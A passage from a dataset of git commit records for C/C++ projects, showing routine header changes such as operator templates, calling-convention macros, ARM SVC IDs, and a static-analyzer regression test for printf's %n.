uberite,ionux\/MCServer,QUSpilPrgm\/cuberite,mmdk95\/cuberite,Fighter19\/cuberite,nounoursheureux\/MCServer,Tri125\/MCServer,Fighter19\/cuberite,MuhammadWang\/MCServer,ionux\/MCServer,kevinr\/cuberite,guijun\/MCServer,Howaner\/MCServer,mc-server\/MCServer,linnemannr\/MCServer,tonibm19\/cuberite,Haxi52\/cuberite,nevercast\/cuberite,Haxi52\/cuberite,zackp30\/cuberite,SamOatesPlugins\/cuberite,nichwall\/cuberite,nevercast\/cuberite,guijun\/MCServer,Schwertspize\/cuberite,johnsoch\/cuberite,QUSpilPrgm\/cuberite,QUSpilPrgm\/cuberite,SamOatesPlugins\/cuberite,nounoursheureux\/MCServer,Altenius\/cuberite,kevinr\/cuberite,bendl\/cuberite,nichwall\/cuberite,tonibm19\/cuberite,mjssw\/cuberite,Tri125\/MCServer,nicodinh\/cuberite,Haxi52\/cuberite,ionux\/MCServer,Altenius\/cuberite,kevinr\/cuberite,ionux\/MCServer,HelenaKitty\/EbooMC,thetaeo\/cuberite,birkett\/cuberite,tonibm19\/cuberite,mc-server\/MCServer,kevinr\/cuberite,jammet\/MCServer,johnsoch\/cuberite,birkett\/cuberite,mjssw\/cuberite,nicodinh\/cuberite,electromatter\/cuberite,marvinkopf\/cuberite,Fighter19\/cuberite,SamOatesPlugins\/cuberite,thetaeo\/cuberite,HelenaKitty\/EbooMC,mmdk95\/cuberite,Frownigami1\/cuberite,linnemannr\/MCServer,nicodinh\/cuberite,nevercast\/cuberite,Howaner\/MCServer,marvinkopf\/cuberite,mc-server\/MCServer,tonibm19\/cuberite,ionux\/MCServer,jammet\/MCServer,birkett\/cuberite,mmdk95\/cuberite,bendl\/cuberite,nounoursheureux\/MCServer,guijun\/MCServer,Howaner\/MCServer,nichwall\/cuberite,electromatter\/cuberite,QUSpilPrgm\/cuberite,thetaeo\/cuberite,jammet\/MCServer"}
{"commit":"4ee56830312ce07823a18cb8d0da396f94121c23","old_file":"Modules\/ThirdParty\/OssimPlugins\/src\/ossim\/ossimOperatorUtilities.h","new_file":"Modules\/ThirdParty\/OssimPlugins\/src\/ossim\/ossimOperatorUtilities.h","old_contents":"","new_contents":"\/\/----------------------------------------------------------------------------\n\/\/\n\/\/ \"Copyright Centre National d'Etudes Spatiales\"\n\/\/\n\/\/ License:  LGPL-2\n\/\/\n\/\/ See LICENSE.txt file in the top level directory for more details.\n\/\/\n\/\/----------------------------------------------------------------------------\n\/\/ $Id$\n\n#ifndef ossimOperatorUtilities_h\n#define ossimOperatorUtilities_h\n\nnamespace ossimplugins {\n   \/\/ Uses Barton-Nackman trick to help implement operator on classes\n   \/\/ Strongly inspired by boost.operators interface\n\n   \/\/ See ossimTimeUtilities.h and ossimTimeUtilitiesTest.cpp for example of\n   \/\/ use\n\n#define DEFINE_OPERATORS(name, compound, op)                                       \\\n   template <typename T> struct name ## 1                                          \\\n   {                                                                               \\\n      friend T operator op(T lhs, T const& rhs) {                                  \\\n         lhs compound rhs;                                                         \\\n         return lhs;                                                               \\\n      }                                                                            \\\n   };                                                                              \\\n   template <typename T, typename U> struct name ## 2                              \\\n   {                                                                               \\\n      friend T operator op(T lhs, U const& rhs) {                                  \\\n         lhs compound rhs;                                                         \\\n         return lhs;                                                               \\\n      }                                                                            \\\n      friend T operator op(U const& lhs, T rhs) {                                  \\\n         rhs compound lhs;                                                         \\\n         return rhs;                                                               \\\n      }                                                                            \\\n   };                                                                              \\\n   template <typename T, typename U=void> struct name         : name ## 2<T,U> {}; \\\n   template <typename T>                  struct name<T,void> : name ## 1<T>   {};\n\n   template <typename U, typename V> struct substractable_asym\n   {\n      friend U operator-(V const& lhs, V const& rhs) {\n         return V::template diff<U,V>(lhs, rhs);\n      }\n   };\n\n   DEFINE_OPERATORS(addable, +=, +);\n   DEFINE_OPERATORS(substractable, -=, -);\n   DEFINE_OPERATORS(multipliable, *=, *);\n#undef DEFINE_OPERATORS\n\n   template <typename T, typename R> struct dividable {\n      typedef R scalar_type;\n      friend T operator\/(T lhs, scalar_type const& rhs) {\n         lhs \/= rhs;\n         return lhs;\n      }\n      friend scalar_type operator\/(T const& lhs, T const& rhs) {\n         return ratio(lhs, rhs);\n      }\n   };\n\n   template <typename T> struct streamable {\n      friend std::ostream & operator<<(std::ostream & os, const T & v)\n      { return v.display(os); }\n   };\n\n   template <typename T> struct less_than_comparable {\n      friend bool operator>(T const& lhs, T const& rhs) {\n         return rhs < lhs;\n      }\n      friend bool operator>=(T const& lhs, T const& rhs) {\n         return !(lhs < rhs);\n      }\n      friend bool operator<=(T const& lhs, T const& rhs) {\n         return !(rhs < lhs);\n      }\n   };\n\n   template <typename T> struct equality_comparable {\n      friend bool operator!=(T const& lhs, T const& rhs) {\n         return !(rhs == lhs);\n      }\n   };\n\n}\/\/ namespace ossimplugins\n\n#endif \/\/ ossimOperatorUtilities_h\n","subject":"Add facilities to define classes with arithmetic semantics","message":"ENH: Add facilities to define classes with arithmetic semantics\n\nStrongly inspired by boost.operators interface\n","lang":"C","license":"apache-2.0","repos":"orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB"}
{"commit":"9552621829998a40edde36dcb35aa11c4fe56800","old_file":"tests\/regression\/02-base\/55-printf-n.c","new_file":"tests\/regression\/02-base\/55-printf-n.c","old_contents":"","new_contents":"\/\/ SKIP\n#include <stdio.h>\n#include <assert.h>\n\nint main() {\n  int written = 0;\n  printf(\"foo%n\\n\", &written); \/\/ invalidates written by setting written = 3\n  assert(written != 0); \/\/ TODO (fail means written == 0, which is unsound)\n\n  printf(\"%d\\n\", written);\n  return 0;\n}\n","subject":"Add skipped test where printf with %n is unsound","message":"Add skipped test where printf with %n is unsound\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"7b9b5f5f241f7a95110cc6b425c02368b5327270","old_file":"include\/nekit\/transport\/listener_interface.h","new_file":"include\/nekit\/transport\/listener_interface.h","old_contents":"\/\/ MIT License\n\n\/\/ Copyright (c) 2017 Zhuhao Wang\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#pragma once\n\n#include <functional>\n#include <memory>\n#include <system_error>\n\n#include \"connection_interface.h\"\n\nnamespace nekit {\nnamespace transport {\nclass ListenerInterface {\n public:\n  virtual ~ListenerInterface() = default;\n\n  using EventHandler = std::function<void(\n      std::unique_ptr<ConnectionInterface>&&, std::error_code)>;\n  virtual void Accept(EventHandler&&);\n};\n}  \/\/ namespace transport\n}  \/\/ namespace nekit\n","new_contents":"\/\/ MIT License\n\n\/\/ Copyright (c) 2017 Zhuhao Wang\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#pragma once\n\n#include <functional>\n#include <memory>\n#include <system_error>\n\n#include \"connection_interface.h\"\n\nnamespace nekit {\nnamespace transport {\nclass ListenerInterface {\n public:\n  virtual ~ListenerInterface() = default;\n\n  \/\/ Due to the limitation of boost handler, the handler type must be copy\n  \/\/ constructible.\n  using EventHandler = std::function<void(\n      std::unique_ptr<ConnectionInterface>&&, std::error_code)>;\n  virtual void Accept(EventHandler&&);\n};\n}  \/\/ namespace transport\n}  \/\/ namespace nekit\n","subject":"Add comment for handler type requirement","message":"DOC: Add comment for handler type requirement\n","lang":"C","license":"mit","repos":"zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit"}
{"commit":"a85984ba3bc5831f701ba4706bc8298234d17e21","old_file":"include\/wb_game_version.h","new_file":"include\/wb_game_version.h","old_contents":"\/**\n * WarfaceBot, a blind XMPP client for Warface (FPS)\n * Copyright (C) 2015 Levak Borok <levak92@gmail.com>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef WB_GAME_VERSION_H\n# define WB_GAME_VERSION_H\n\n# define GAME_VERSION \"1.1.1.3570\"\n\n#endif \/* !WB_GAME_VERSION_H *\/\n","new_contents":"\/**\n * WarfaceBot, a blind XMPP client for Warface (FPS)\n * Copyright (C) 2015 Levak Borok <levak92@gmail.com>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef WB_GAME_VERSION_H\n# define WB_GAME_VERSION_H\n\n# ifndef GAME_VERSION\n#  define GAME_VERSION \"1.1.1.3570\"\n# endif \/* !GAME_VERSION *\/\n\n#endif \/* !WB_GAME_VERSION_H *\/\n","subject":"Add guards for GAME_VERSION for command line customization","message":"Add guards for GAME_VERSION for command line customization\n","lang":"C","license":"agpl-3.0","repos":"DevilDaga\/warfacebot,Levak\/warfacebot,Levak\/warfacebot,DevilDaga\/warfacebot,Levak\/warfacebot"}
{"commit":"3773489a59adb0313d98e7d5a5749bdda8145e17","old_file":"interpreter\/cling\/lib\/MetaProcessor\/Display.h","new_file":"interpreter\/cling\/lib\/MetaProcessor\/Display.h","old_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author:  Timur Pocheptsov <Timur.Pocheptsov@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_DISPLAY_H\n#define CLING_DISPLAY_H\n\n#include <string>\n\nnamespace llvm {\n  class raw_ostream;\n}\n\nnamespace cling {\n\nvoid DisplayClasses(llvm::raw_ostream &stream,\n                    const class Interpreter *interpreter, bool verbose);\nvoid DisplayClass(llvm::raw_ostream &stream, \n                  const Interpreter *interpreter, const char *className, \n                  bool verbose);\n\nvoid DisplayGlobals(llvm::raw_ostream &stream, const Interpreter *interpreter);\nvoid DisplayGlobal(llvm::raw_ostream &stream, const Interpreter *interpreter, \n                   const std::string &name);\n\n}\n\n#endif\n","new_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author:  Timur Pocheptsov <Timur.Pocheptsov@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_DISPLAY_H\n#define CLING_DISPLAY_H\n\n#include <string>\n\nnamespace llvm {\n  class raw_ostream;\n}\n\nnamespace cling {\nclass Interpreter;\n\nvoid DisplayClasses(llvm::raw_ostream &stream,\n                    const Interpreter *interpreter, bool verbose);\nvoid DisplayClass(llvm::raw_ostream &stream, \n                  const Interpreter *interpreter, const char *className, \n                  bool verbose);\n\nvoid DisplayGlobals(llvm::raw_ostream &stream, const Interpreter *interpreter);\nvoid DisplayGlobal(llvm::raw_ostream &stream, const Interpreter *interpreter, \n                   const std::string &name);\n\n}\n\n#endif\n","subject":"Fix fwd decl for windows.","message":"Fix fwd decl for windows.\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@47814 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"esakellari\/root,Y--\/root,agarciamontoro\/root,cxx-hep\/root-cern,omazapa\/root,bbockelm\/root,mkret2\/root,karies\/root,karies\/root,karies\/root,olifre\/root,0x0all\/ROOT,abhinavmoudgil95\/root,Y--\/root,smarinac\/root,evgeny-boger\/root,thomaskeck\/root,mkret2\/root,omazapa\/root,veprbl\/root,perovic\/root,arch1tect0r\/root,vukasinmilosevic\/root,jrtomps\/root,buuck\/root,arch1tect0r\/root,thomaskeck\/root,sirinath\/root,vukasinmilosevic\/root,cxx-hep\/root-cern,evgeny-boger\/root,agarciamontoro\/root,krafczyk\/root,vukasinmilosevic\/root,root-mirror\/root,root-mirror\/root,lgiommi\/root,arch1tect0r\/root,veprbl\/root,lgiommi\/root,cxx-hep\/root-cern,root-mirror\/root,perovic\/root,zzxuanyuan\/root,dfunke\/root,satyarth934\/root,perovic\/root,mkret2\/root,abhinavmoudgil95\/root,bbockelm\/root,veprbl\/root,sirinath\/root,smarinac\/root,gbitzes\/root,mhuwiler\/rootauto,beniz\/root,0x0all\/ROOT,omazapa\/root-old,zzxuanyuan\/root,dfunke\/root,olifre\/root,0x0all\/ROOT,esakellari\/root,alexschlueter\/cern-root,karies\/root,olifre\/root,davidlt\/root,veprbl\/root,lgiommi\/root,perovic\/root,bbockelm\/root,satyarth934\/root,omazapa\/root-old,gbitzes\/root,perovic\/root,veprbl\/root,satyarth934\/root,CristinaCristescu\/root,nilqed\/root,vukasinmilosevic\/root,omazapa\/root-old,sawenzel\/root,Y--\/root,0x0all\/ROOT,mkret2\/root,buuck\/root,satyarth934\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root,olifre\/root,0x0all\/ROOT,mattkretz\/root,smarinac\/root,omazapa\/root-old,gganis\/root,arch1tect0r\/root,sawenzel\/root,mattkretz\/root,nilqed\/root,jrtomps\/root,lgiommi\/root,sawenzel\/root,sbinet\/cxx-root,karies\/root,esakellari\/my_root_for_test,sawenzel\/root,beniz\/root,buuck\/root,davidlt\/root,nilqed\/root,krafczyk\/root,omazapa\/root-old,sirinath\/root,thomaskeck\/root,abhinavmoudgil95\/root,karies\/root,veprbl\/root,vukasinmilosevic\/root,gbitzes\/root,gganis\/root,arch1tect0r\/root,cxx-hep\/root-cern,CristinaCristescu\/root,thomaskeck\/root,zzxuanyuan\/root,olifre\/root,mhuwiler\/rootauto,lgiommi\/root,gbitzes\/root,thomaskeck\/root,esakellari\/root,esakellari\/my_root_for_test,sawenzel\/root,agarciamontoro\/root,simonpf\/root,thomaskeck\/root,satyarth934\/root,olifre\/root,esakellari\/my_root_for_test,CristinaCristescu\/root,satyarth934\/root,zzxuanyuan\/root-compressor-dummy,sbinet\/cxx-root,esakellari\/my_root_for_test,BerserkerTroll\/root,nilqed\/root,davidlt\/root,sawenzel\/root,sirinath\/root,sawenzel\/root,karies\/root,zzxuanyuan\/root,jrtomps\/root,mattkretz\/root,agarciamontoro\/root,pspe\/root,georgtroska\/root,perovic\/root,krafczyk\/root,vukasinmilosevic\/root,smarinac\/root,zzxuanyuan\/root,krafczyk\/root,evgeny-boger\/root,thomaskeck\/root,buuck\/root,krafczyk\/root,pspe\/root,lgiommi\/root,esakellari\/root,arch1tect0r\/root,BerserkerTroll\/root,sirinath\/root,jrtomps\/root,agarciamontoro\/root,zzxuanyuan\/root,esakellari\/root,bbockelm\/root,sirinath\/root,beniz\/root,mhuwiler\/rootauto,smarinac\/root,lgiommi\/root,sbinet\/cxx-root,mhuwiler\/rootauto,esakellari\/my_root_for_test,root-mirror\/root,Duraznos\/root,karies\/root,CristinaCristescu\/root,davidlt\/root,alexschlueter\/cern-root,dfunke\/root,evgeny-boger\/root,satyarth934\/root,agarciamontoro\/root,krafczyk\/root,sbinet\/cxx-root,mattkretz\/root,arch1tect0r\/root,vukasinmilosevic\/root,georgtroska\/root,mkret2\/root,agarciamontoro\/root,0x0all\/ROOT,mattkretz\/root,buuck\/root,simonpf\/root,Y--\/root,buuck\/root,mkret2\/root,buuck\/root,Duraznos\/root,lgiommi\/root,mattkretz\/root,beniz\/root,omazapa\/root,jrtomps\/root,arch1tect0r\/root,georgtroska\/root,perovic\/root,Y--\/root,pspe\/root,pspe\/root,Duraznos\/root,sawenzel\/root,BerserkerTroll\/root,root-mirror\/root,agarciamontoro\/root,sbinet\/cxx-root,sirinath\/root,veprbl\/root,gbitzes\/root,veprbl\/root,Duraznos\/root,bbockelm\/root,simonpf\/root,davidlt\/root,georgtroska\/root,krafczyk\/root,Duraznos\/root,gganis\/root,smarinac\/root,gganis\/root,omazapa\/root-old,nilqed\/root,olifre\/root,sbinet\/cxx-root,mhuwiler\/rootauto,perovic\/root,simonpf\/root,esakellari\/root,sirinath\/root,simonpf\/root,simonpf\/root,esakellari\/root,zzxuanyuan\/root,simonpf\/root,davidlt\/root,omazapa\/root-old,esakellari\/root,davidlt\/root,gbitzes\/root,root-mirror\/root,root-mirror\/root,krafczyk\/root,georgtroska\/root,nilqed\/root,Y--\/root,davidlt\/root,dfunke\/root,zzxuanyuan\/root-compressor-dummy,gganis\/root,beniz\/root,omazapa\/root,esakellari\/my_root_for_test,buuck\/root,veprbl\/root,georgtroska\/root,satyarth934\/root,esakellari\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,bbockelm\/root,BerserkerTroll\/root,alexschlueter\/cern-root,Duraznos\/root,sbinet\/cxx-root,abhinavmoudgil95\/root,BerserkerTroll\/root,mhuwiler\/rootauto,simonpf\/root,smarinac\/root,mattkretz\/root,agarciamontoro\/root,davidlt\/root,omazapa\/root,0x0all\/ROOT,jrtomps\/root,beniz\/root,gbitzes\/root,satyarth934\/root,Y--\/root,zzxuanyuan\/root-compressor-dummy,olifre\/root,smarinac\/root,gbitzes\/root,nilqed\/root,esakellari\/my_root_for_test,cxx-hep\/root-cern,omazapa\/root-old,gganis\/root,olifre\/root,Y--\/root,vukasinmilosevic\/root,dfunke\/root,evgeny-boger\/root,jrtomps\/root,georgtroska\/root,dfunke\/root,bbockelm\/root,arch1tect0r\/root,sbinet\/cxx-root,sawenzel\/root,sawenzel\/root,sbinet\/cxx-root,thomaskeck\/root,simonpf\/root,buuck\/root,mhuwiler\/rootauto,krafczyk\/root,zzxuanyuan\/root,omazapa\/root-old,georgtroska\/root,mhuwiler\/rootauto,krafczyk\/root,veprbl\/root,beniz\/root,cxx-hep\/root-cern,gganis\/root,mkret2\/root,olifre\/root,esakellari\/my_root_for_test,Duraznos\/root,abhinavmoudgil95\/root,jrtomps\/root,sawenzel\/root,gbitzes\/root,CristinaCristescu\/root,mkret2\/root,jrtomps\/root,BerserkerTroll\/root,sirinath\/root,bbockelm\/root,abhinavmoudgil95\/root,Y--\/root,root-mirror\/root,simonpf\/root,alexschlueter\/cern-root,evgeny-boger\/root,alexschlueter\/cern-root,alexschlueter\/cern-root,root-mirror\/root,nilqed\/root,karies\/root,abhinavmoudgil95\/root,BerserkerTroll\/root,buuck\/root,0x0all\/ROOT,CristinaCristescu\/root,bbockelm\/root,pspe\/root,esakellari\/root,buuck\/root,0x0all\/ROOT,mattkretz\/root,cxx-hep\/root-cern,thomaskeck\/root,krafczyk\/root,satyarth934\/root,nilqed\/root,georgtroska\/root,BerserkerTroll\/root,CristinaCristescu\/root,abhinavmoudgil95\/root,esakellari\/my_root_for_test,omazapa\/root,sbinet\/cxx-root,perovic\/root,dfunke\/root,omazapa\/root,root-mirror\/root,cxx-hep\/root-cern,gganis\/root,zzxuanyuan\/root-compressor-dummy,evgeny-boger\/root,jrtomps\/root,abhinavmoudgil95\/root,omazapa\/root,mkret2\/root,pspe\/root,veprbl\/root,CristinaCristescu\/root,smarinac\/root,gbitzes\/root,vukasinmilosevic\/root,omazapa\/root-old,mhuwiler\/rootauto,beniz\/root,georgtroska\/root,sirinath\/root,beniz\/root,CristinaCristescu\/root,evgeny-boger\/root,arch1tect0r\/root,Duraznos\/root,CristinaCristescu\/root,evgeny-boger\/root,mattkretz\/root,bbockelm\/root,simonpf\/root,zzxuanyuan\/root-compressor-dummy,vukasinmilosevic\/root,jrtomps\/root,karies\/root,sbinet\/cxx-root,gganis\/root,omazapa\/root-old,mattkretz\/root,zzxuanyuan\/root,dfunke\/root,mattkretz\/root,nilqed\/root,lgiommi\/root,esakellari\/root,davidlt\/root,nilqed\/root,dfunke\/root,esakellari\/my_root_for_test,georgtroska\/root,olifre\/root,zzxuanyuan\/root-compressor-dummy,lgiommi\/root,Y--\/root,pspe\/root,evgeny-boger\/root,agarciamontoro\/root,Duraznos\/root,dfunke\/root,perovic\/root,pspe\/root,Y--\/root,Duraznos\/root,bbockelm\/root,zzxuanyuan\/root-compressor-dummy,abhinavmoudgil95\/root,mhuwiler\/rootauto,sirinath\/root,thomaskeck\/root,pspe\/root,vukasinmilosevic\/root,omazapa\/root,agarciamontoro\/root,davidlt\/root,mkret2\/root,evgeny-boger\/root,gganis\/root,BerserkerTroll\/root,zzxuanyuan\/root-compressor-dummy,CristinaCristescu\/root,gganis\/root,BerserkerTroll\/root,gbitzes\/root,mkret2\/root,omazapa\/root,smarinac\/root,beniz\/root,lgiommi\/root,dfunke\/root,mhuwiler\/rootauto,Duraznos\/root,zzxuanyuan\/root-compressor-dummy,abhinavmoudgil95\/root,zzxuanyuan\/root,BerserkerTroll\/root,arch1tect0r\/root,omazapa\/root,beniz\/root,alexschlueter\/cern-root,perovic\/root,pspe\/root,pspe\/root,satyarth934\/root,root-mirror\/root,karies\/root"}
{"commit":"fade08bf28c1850d2ad2fc5b47e2379b9cf3995d","old_file":"kremlib\/gcc_compat.h","new_file":"kremlib\/gcc_compat.h","old_contents":"#ifndef __GCC_COMPAT_H\n#define __GCC_COMPAT_H\n\n#ifdef __GNUC__\n\/\/ gcc does not support the __cdecl, __stdcall or __fastcall notation\n\/\/ except on Windows\n#ifndef _WIN32\n#define __cdecl __attribute__((cdecl))\n#define __stdcall __attribute__((stdcall))\n#define __fastcall __attribute__((fastcall))\n#endif \/\/ ! _WIN32\n#endif \/\/ __GNUC__\n\n#endif \/\/ __GCC_COMPAT_H\n","new_contents":"#ifndef __GCC_COMPAT_H\n#define __GCC_COMPAT_H\n\n#ifdef __GNUC__\n\/\/ gcc does not support the __cdecl, __stdcall or __fastcall notation\n\/\/ except on Windows\n#ifdef _WIN32\n#define __cdecl __attribute__((cdecl))\n#define __stdcall __attribute__((stdcall))\n#define __fastcall __attribute__((fastcall))\n#else\n#define __cdecl\n#define __stdcall\n#define __fastcall\n#endif \/\/ _WIN32\n#endif \/\/ __GNUC__\n\n#endif \/\/ __GCC_COMPAT_H\n","subject":"Fix the Vale build onx 64 Linux by definining empty calling convention keywords","message":"Fix the Vale build onx 64 Linux by definining empty calling convention keywords\n","lang":"C","license":"apache-2.0","repos":"FStarLang\/kremlin,FStarLang\/kremlin,FStarLang\/kremlin,FStarLang\/kremlin"}
{"commit":"bbf79aa264b638fd4717cfb1b8fd5a7997861fe7","old_file":"ArmPkg\/Include\/IndustryStandard\/ArmMmSvc.h","new_file":"ArmPkg\/Include\/IndustryStandard\/ArmMmSvc.h","old_contents":"","new_contents":"\/** @file\r\n*\r\n*  Copyright (c) 2012-2017, ARM Limited. All rights reserved.\r\n*\r\n*  This program and the accompanying materials\r\n*  are licensed and made available under the terms and conditions of the BSD License\r\n*  which accompanies this distribution.  The full text of the license may be found at\r\n*  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n*\r\n*  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n*  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n*\r\n**\/\r\n\r\n#ifndef __ARM_MM_SVC_H__\r\n#define __ARM_MM_SVC_H__\r\n\r\n\/*\r\n * SVC IDs to allow the MM secure partition to initialise itself, handle\r\n * delegated events and request the Secure partition manager to perform\r\n * privileged operations on its behalf.\r\n *\/\r\n#define ARM_SVC_ID_SPM_VERSION_AARCH64             0xC4000060\r\n#define ARM_SVC_ID_SP_EVENT_COMPLETE_AARCH64       0xC4000061\r\n#define ARM_SVC_ID_SP_GET_MEM_ATTRIBUTES_AARCH64   0xC4000064\r\n#define ARM_SVC_ID_SP_SET_MEM_ATTRIBUTES_AARCH64   0xC4000065\r\n\r\n#define SET_MEM_ATTR_DATA_PERM_MASK       0x3\r\n#define SET_MEM_ATTR_DATA_PERM_SHIFT        0\r\n#define SET_MEM_ATTR_DATA_PERM_NO_ACCESS    0\r\n#define SET_MEM_ATTR_DATA_PERM_RW           1\r\n#define SET_MEM_ATTR_DATA_PERM_RO           3\r\n\r\n#define SET_MEM_ATTR_CODE_PERM_MASK   0x1\r\n#define SET_MEM_ATTR_CODE_PERM_SHIFT    2\r\n#define SET_MEM_ATTR_CODE_PERM_X        0\r\n#define SET_MEM_ATTR_CODE_PERM_XN       1\r\n\r\n#define SET_MEM_ATTR_MAKE_PERM_REQUEST(d_perm, c_perm)                            \\\r\n    ((((c_perm) & SET_MEM_ATTR_CODE_PERM_MASK) << SET_MEM_ATTR_CODE_PERM_SHIFT) | \\\r\n    (( (d_perm) & SET_MEM_ATTR_DATA_PERM_MASK) << SET_MEM_ATTR_DATA_PERM_SHIFT))\r\n\r\n#endif\r\n","subject":"Add SVC function IDs for Management Mode.","message":"ArmPkg\/Include: Add SVC function IDs for Management Mode.\n\nSVCs are in the range 0xC4000060 - 0xC400007f.\nThe functions available to the secure MM partition:\n1. Signal completion of MM event handling.\n2. Set\/Get memory attributes for a memory region at runtime.\n3. Get version number of secure partition manager.\n\nAlso, it defines memory attributes required for set\/get operations.\n\nContributed-under: TianoCore Contribution Agreement 1.1\nSigned-off-by: Supreeth Venkatesh <e636ad8a3c68a860c3594da0efc73a6a46c31f2f@arm.com>\nReviewed-by: Ard Biesheuvel <66d3c5fdaeea7ff1f996ad04f2c45e08ab38e2f5@linaro.org>\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"6257608a8aa9caa06ef787ed48caba5a786ae1f5","old_file":"spdy\/platform\/api\/spdy_bug_tracker.h","new_file":"spdy\/platform\/api\/spdy_bug_tracker.h","old_contents":"\/\/ Copyright (c) 2019 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef QUICHE_SPDY_PLATFORM_API_SPDY_BUG_TRACKER_H_\n#define QUICHE_SPDY_PLATFORM_API_SPDY_BUG_TRACKER_H_\n\n#include \"net\/spdy\/platform\/impl\/spdy_bug_tracker_impl.h\"\n\n#define SPDY_BUG SPDY_BUG_IMPL\n#define SPDY_BUG_IF(condition) SPDY_BUG_IF_IMPL(condition)\n\n\/\/ V2 macros are the same as all the SPDY_BUG flavor above, but they take a\n\/\/ bug_id parameter.\n#define SPDY_BUG_V2 SPDY_BUG_V2_IMPL\n#define SPDY_BUG_IF_V2 SPDY_BUG_IF_V2_IMPL\n\n#define FLAGS_spdy_always_log_bugs_for_tests \\\n  FLAGS_spdy_always_log_bugs_for_tests_impl\n\n#endif  \/\/ QUICHE_SPDY_PLATFORM_API_SPDY_BUG_TRACKER_H_\n","new_contents":"\/\/ Copyright (c) 2019 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef QUICHE_SPDY_PLATFORM_API_SPDY_BUG_TRACKER_H_\n#define QUICHE_SPDY_PLATFORM_API_SPDY_BUG_TRACKER_H_\n\n#include 